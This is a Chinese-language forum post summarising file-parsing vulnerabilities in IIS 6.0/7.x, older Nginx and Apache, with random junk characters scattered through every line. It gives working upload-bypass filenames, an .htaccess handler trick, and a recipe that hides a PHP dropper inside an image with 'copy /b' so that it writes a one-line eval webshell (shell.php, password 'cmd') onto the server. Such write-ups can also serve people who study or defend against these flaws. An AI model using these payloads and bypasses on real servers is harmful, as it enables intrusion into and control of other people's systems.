找回密码
 立即注册
查看: 3432|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain& ?/ _" t  G& W6 g+ K2 L% ^( r
[+]IIS6.0% E' U  A. a5 ~! Z' K

3 m0 a' h, }' e目录解析:/xx.asp/xx.jpg 9 _/ F2 T6 R' g
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
& w4 N' `4 A1 q IIS6.0 会将 xx.jpg 解析为 asp 文件。7 y0 r; V7 t3 s" \
后缀解析:/xx.asp;.jpg     % i. D, N  D5 U( d) h7 K  x4 h
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。' x% N; A/ T3 N; P0 B" h1 ^
默认解析:/xx.asa  W, M7 \3 e/ E2 O2 u7 E
         /xx.cer
6 g# K+ O! O" M: L1 A; Z         /xx.cdx  D& G6 S- r( L& P
IIS6.0 默认的可执行文件除了 asp 还包含这三种+ }7 a4 l7 B; ^. B2 _1 G4 Q; O( J
此处可联系利用目录解析漏洞   `- c& e$ |7 t7 {- Q' k
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
, k0 W8 N3 i1 y2 b! q: H( `$ J1 _[+]IIS 7.0/IIS 7.5/Nginx <0.8.03' F5 [7 W+ R3 F

" ^( g+ }* {$ P5 W0 w4 x" ]! Q IIS 7.0/IIS 7.5/Nginx <0.8.03& M( Y% Y  z. U6 y2 H0 |
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面; Q4 a9 Y# G& @9 |% W2 G- f! a
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。: K. a: |; m1 O( f) ?( l& @
常用利用方法:2 F( c. s5 f8 t4 R/ q9 \* b* h
将一张图和一个写入后门代码的文本文件合并将恶意文本
3 k. ]/ y' o7 a/ `& L: Q& z% R) y 写入图片的二进制代码之后,避免破坏图片文件头和尾/ o; ?- U8 Z: j
如:
# G' Q1 ~- D& Y; G9 ^6 g: k copy xx.jpg /b + yy.txt/a xy.jpg2 W' Q1 `3 y( A& S$ G
#########################################################
: N9 O# j( a8 M1 N1 i& }+ L /b 即二进制[binary]模式& Y, p, j$ j4 s0 B) z
/a 即ascii模式
. |  i: q0 p2 X+ G8 @4 x$ w xx.jpg 正常图片文件5 X5 N+ q8 P$ j1 u9 V" n
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),+ F; k; z! M9 k7 p- _, R- j( C. P
'<?php eval($_POST[cmd])?>');?>
' P" M: B! x: \$ N0 l- t- J5 R0 J" T 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称2 H; E4 k" {. O! i: d1 _1 @
为shell.php的文件9 \; j! m- X/ ~5 l
###########################################################
! t! w2 U0 v$ a! ]8 ~: K: F 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
( h, M7 [* E$ k( h% S3 _% i% D 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php ; f& {9 A! r3 s& i0 Z
密码 cmd, {+ w* Y4 ^5 ~+ ~
[+]Nginx <0.8.03
7 @3 _! }" C: H3 _
4 U3 Y% C7 k- f5 K9 f' Q0 U$ D 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
1 x4 J0 r9 n- K 在一个文件路径(/xx.jpg)后面加上%00.php
% u  ~) g) \& s  L3 @; z2 G7 j+ d 会将 /xx.jpg%00.php 解析为 php 文件。
) E1 b+ S: E7 X/ Z5 Z( ~[+]Apache<0.8.03
7 s5 a, x7 }8 V, ~: x; ]   r, ^( h$ R* X
后缀解析:test.php.x1.x2.x3
4 g1 t- X7 Q/ r; k4 d2 y Apache将从右至左开始判断后缀,若x3非可识别后缀,4 E- \# l$ `3 t8 Q! R9 P
再判断x2,直到找到可识别后缀为止,然后将该可识别
  X3 j' d/ p6 [' | 后缀进解析test.php.x1.x2.x3 则会被解析为php
9 i" [% `# o3 ]8 Q( D5 y0 ]% d0 ] 经验之谈:php|php3|phtml 多可被Apache解析。
5 p6 E  H6 Y( I! ?9 T  q* B0 n[+]其他一些可利用的- x" J2 Y4 b! T$ o) P- @" M

* s# m% O$ s; ]+ S5 y; o在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的9 ]. t3 A' i: d0 O. A* c* D
若这样命名,windows会默认除去空格或点,这也是可以被利用的!% s" M" i) ^' z6 Y
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格$ _" D, l" l: d5 n
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
; l8 e# x1 {4 Y' ~得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
9 S5 z% \6 |) |' B- T{Linux主机中不行,Linux允许这类文件存在}3 |/ h, a8 Y2 n% b/ C
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
& R1 j3 f; y4 v+ A9 U. M: B的,当初我并不知道),且可以被上传,那可以尝试在6 |5 Q. L6 Z' V, \4 ~7 U" O$ O: G
.htaccess中写入:, e$ v2 `. k( v' y" e7 V% k9 w9 r2 [
<FilesMatch “shell.jpg”> + R4 {# W0 ]6 Q; x2 z4 o: K
SetHandler application/x-httpd-php
4 i8 |) L1 m, l' K- l</FilesMatch>
( T0 D2 ^# U6 r) K4 ~4 N+ |4 hshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
; k/ D4 p1 R7 Y) r- Q& [* d[+]错误修改4 X, V2 v( W$ p6 v  D
* u, j0 V7 e+ o
在 IIS 6.0 下可解析 /xx.asp:.jpg
. b' B" l, D! ]1 G; s6 [{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
9 ^# ^6 Y: k. B剩下/xx.asp}修改:) w% `" x, d* R8 d3 [
先谢谢核攻击的提醒2 A' I" \3 A! m2 ?
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
: }- I- C6 ?  h" o& r9 G里是没有任何内容的,因为。。不好解释 大家自己看" \! d% \/ u# [0 `
http://lcx.cc/?i=2448
5 Z  Q0 _% a3 m: B3 Dhttp://baike.baidu.com/view/3619593.htm
, o" [3 N# q& s0 k* B  }" B8 K0 {$ W! H; \- K1 j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表